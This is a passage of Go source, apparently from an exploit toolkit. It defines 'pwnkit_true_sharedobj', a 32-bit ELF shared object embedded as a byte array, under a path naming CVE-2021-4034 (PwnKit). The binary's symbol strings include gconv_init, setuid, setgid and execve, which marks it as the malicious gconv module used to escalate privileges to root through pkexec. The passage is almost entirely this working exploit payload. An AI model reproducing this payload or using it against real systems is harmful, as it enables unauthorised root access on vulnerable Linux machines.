  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  16, 23, 0, 0, 0, 0, 0, 0, 213, 1, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 3, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  229, 24, 0, 0, 0, 0, 0, 0, 237, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0,
}


================================================
FILE: pkg/exploits/cve20214034/sharedobject_true_386.go
================================================
//go:build 386
package cve20214034

var pwnkit_true_sharedobj = []byte{
  127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  3, 0, 3, 0, 1, 0, 0, 0, 128, 16, 0, 0, 52, 0, 0, 0,
  56, 53, 0, 0, 0, 0, 0, 0, 52, 0, 32, 0, 10, 0, 40, 0,
  28, 0, 27, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 212, 3, 0, 0, 212, 3, 0, 0, 4, 0, 0, 0,
  0, 16, 0, 0, 1, 0, 0, 0, 0, 16, 0, 0, 0, 16, 0, 0,
  0, 16, 0, 0, 40, 2, 0, 0, 40, 2, 0, 0, 5, 0, 0, 0,
  0, 16, 0, 0, 1, 0, 0, 0, 0, 32, 0, 0, 0, 32, 0, 0,
  0, 32, 0, 0, 24, 1, 0, 0, 24, 1, 0, 0, 4, 0, 0, 0,
  0, 16, 0, 0, 1, 0, 0, 0, 8, 47, 0, 0, 8, 63, 0, 0,
  8, 63, 0, 0, 24, 1, 0, 0, 28, 1, 0, 0, 6, 0, 0, 0,
  0, 16, 0, 0, 2, 0, 0, 0, 16, 47, 0, 0, 16, 63, 0, 0,
  16, 63, 0, 0, 224, 0, 0, 0, 224, 0, 0, 0, 6, 0, 0, 0,
  4, 0, 0, 0, 4, 0, 0, 0, 116, 1, 0, 0, 116, 1, 0, 0,
  116, 1, 0, 0, 76, 0, 0, 0, 76, 0, 0, 0, 4, 0, 0, 0,
  4, 0, 0, 0, 83, 229, 116, 100, 152, 1, 0, 0, 152, 1, 0, 0,
  152, 1, 0, 0, 40, 0, 0, 0, 40, 0, 0, 0, 4, 0, 0, 0,
  4, 0, 0, 0, 80, 229, 116, 100, 92, 32, 0, 0, 92, 32, 0, 0,
  92, 32, 0, 0, 44, 0, 0, 0, 44, 0, 0, 0, 4, 0, 0, 0,
  4, 0, 0, 0, 81, 229, 116, 100, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0,
  16, 0, 0, 0, 82, 229, 116, 100, 8, 47, 0, 0, 8, 63, 0, 0,
  8, 63, 0, 0, 248, 0, 0, 0, 248, 0, 0, 0, 4, 0, 0, 0,
  1, 0, 0, 0, 4, 0, 0, 0, 20, 0, 0, 0, 3, 0, 0, 0,
  71, 78, 85, 0, 209, 58, 106, 49, 216, 235, 19, 44, 44, 236, 37, 189,
  58, 201, 99, 84, 166, 136, 73, 45, 4, 0, 0, 0, 24, 0, 0, 0,
  5, 0, 0, 0, 71, 78, 85, 0, 1, 0, 1, 192, 4, 0, 0, 0,
  1, 0, 0, 0, 2, 0, 1, 192, 4, 0, 0, 0, 0, 0, 0, 0,
  2, 0, 0, 0, 9, 0, 0, 0, 1, 0, 0, 0, 5, 0, 0, 0,
  12, 0, 32, 2, 9, 0, 0, 0, 10, 0, 0, 0, 99, 12, 127, 15,
  53, 167, 82, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  32, 0, 0, 0, 70, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  34, 0, 0, 0, 109, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  18, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  32, 0, 0, 0, 123, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  18, 0, 0, 0, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  18, 0, 0, 0, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  18, 0, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  32, 0, 0, 0, 85, 0, 0, 0, 125, 17, 0, 0, 16, 0, 0, 0,
  18, 0, 12, 0, 91, 0, 0, 0, 141, 17, 0, 0, 126, 0, 0, 0,
  18, 0, 12, 0, 0, 95, 95, 103, 109, 111, 110, 95, 115, 116, 97, 114,
  116, 95, 95, 0, 95, 73, 84, 77, 95, 100, 101, 114, 101, 103, 105, 115,
  116, 101, 114, 84, 77, 67, 108, 111, 110, 101, 84, 97, 98, 108, 101, 0,
  95, 73, 84, 77, 95, 114, 101, 103, 105, 115, 116, 101, 114, 84, 77, 67,
  108, 111, 110, 101, 84, 97, 98, 108, 101, 0, 95, 95, 99, 120, 97, 95,
  102, 105, 110, 97, 108, 105, 122, 101, 0, 103, 99, 111, 110, 118, 0, 103,
  99, 111, 110, 118, 95, 105, 110, 105, 116, 0, 115, 101, 116, 117, 105, 100,
  0, 115, 101, 116, 103, 105, 100, 0, 101, 120, 101, 99, 118, 101, 0, 101,
  120, 105, 116, 0, 108, 105, 98, 99, 46, 115, 111, 46, 54, 0, 71, 76,
  73, 66, 67, 95, 50, 46, 48, 0, 71, 76, 73, 66, 67, 95, 50, 46,
  49, 46, 51, 0, 0, 0, 0, 0, 2, 0, 3, 0, 0, 0, 3, 0,
  3, 0, 3, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 2, 0,
  128, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 16, 105, 105, 13,
  0, 0, 3, 0, 138, 0, 0, 0, 16, 0, 0, 0, 115, 31, 105, 9,
  0, 0, 2, 0, 148, 0, 0, 0, 0, 0, 0, 0, 8, 63, 0, 0,
  8, 0, 0, 0, 12, 63, 0, 0, 8, 0, 0, 0, 28, 64, 0, 0,
  8, 0, 0, 0, 240, 63, 0, 0, 6, 1, 0, 0, 244, 63, 0, 0,
  6, 2, 0, 0, 248, 63, 0, 0, 6, 4, 0, 0, 252, 63, 0, 0,
  6, 8, 0, 0, 12, 64, 0, 0, 7, 3, 0, 0, 16, 64, 0, 0,
  7, 5, 0, 0, 20, 64, 0, 0, 7, 6, 0, 0, 24, 64, 0, 0,
  7, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  243, 15, 30, 251, 83, 131, 236, 8, 232, 115, 0, 0, 0, 129, 195, 243,
  47, 0, 0, 139, 131, 248, 255, 255, 255, 133, 192, 116, 2, 255, 208, 131,
  196, 8, 91, 195, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  255, 179, 4, 0, 0, 0, 255, 163, 8, 0, 0, 0, 0, 0, 0, 0,
  255, 163, 12, 0, 0, 0, 104, 0, 0, 0, 0, 233, 224, 255, 255, 255,
  255, 163, 16, 0, 0, 0, 104, 8, 0, 0, 0, 233, 208, 255, 255, 255,
  255, 163, 20, 0, 0, 0, 104, 16, 0, 0, 0, 233, 192, 255, 255, 255,
  255, 163, 24, 0, 0, 0, 104, 24, 0, 0, 0, 233, 176, 255, 255, 255,
  139, 28, 36, 195, 102, 144, 102, 144, 102, 144, 102, 144, 102, 144, 102, 144,
  232, 228, 0, 0, 0, 129, 194, 107, 47, 0, 0, 141, 138, 32, 0, 0,
  0, 141, 130, 32, 0, 0, 0, 57, 200, 116, 29, 139, 130, 240, 255, 255,
  255, 133, 192, 116, 19, 85, 137, 229, 131, 236, 20, 81, 255, 208, 131, 196,
  16, 201, 195, 141, 116, 38, 0, 144, 195, 141, 180, 38, 0, 0, 0, 0,
  232, 164, 0, 0, 0, 129, 194, 43, 47, 0, 0, 85, 137, 229, 83, 141,
  138, 32, 0, 0, 0, 141, 130, 32, 0, 0, 0, 131, 236, 4, 41, 200,
  137, 195, 193, 232, 31, 193, 251, 2, 1, 216, 209, 248, 116, 20, 139, 146,
  252, 255, 255, 255, 133, 210, 116, 10, 131, 236, 8, 80, 81, 255, 210, 131,
  196, 16, 139, 93, 252, 201, 195, 141, 180, 38, 0, 0, 0, 0, 102, 144,
  243, 15, 30, 251, 85, 137, 229, 83, 232, 83, 255, 255, 255, 129, 195, 211,
  46, 0, 0, 131, 236, 4, 128, 187, 32, 0, 0, 0, 0, 117, 40, 139,
  131, 244, 255, 255, 255, 133, 192, 116, 18, 131, 236, 12, 255, 179, 28, 0,
  0, 0, 255, 147, 244, 255, 255, 255, 131, 196, 16, 232, 48, 255, 255, 255,
  198, 131, 32, 0, 0, 0, 1, 139, 93, 252, 201, 195, 141, 116, 38, 0,
  243, 15, 30, 251, 233, 87, 255, 255, 255, 139, 20, 36, 195, 85, 137, 229,
  232, 134, 0, 0, 0, 5, 123, 46, 0, 0, 144, 93, 195, 85, 137, 229,
  83, 131, 236, 52, 232, 231, 254, 255, 255, 129, 195, 103, 46, 0, 0, 139,
  69, 8, 137, 69, 212, 101, 161, 20, 0, 0, 0, 137, 69, 244, 49, 192,
  141, 131, 0, 224, 255, 255, 137, 69, 228, 199, 69, 232, 0, 0, 0, 0,
  141, 131, 16, 224, 255, 255, 137, 69, 236, 199, 69, 240, 0, 0, 0, 0,
  131, 236, 12, 106, 0, 232, 150, 254, 255, 255, 131, 196, 16, 131, 236, 12,
  106, 0, 232, 89, 254, 255, 255, 131, 196, 16, 139, 69, 228, 131, 236, 4,
  141, 85, 236, 82, 141, 85, 228, 82, 80, 232, 98, 254, 255, 255, 131, 196,
  16, 131, 236, 12, 106, 0, 232, 69, 254, 255, 255, 139, 4, 36, 195, 0,
  243, 15, 30, 251, 83, 131, 236, 8, 232, 99, 254, 255, 255, 129, 195, 227,
  45, 0, 0, 131, 196, 8, 91, 195, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
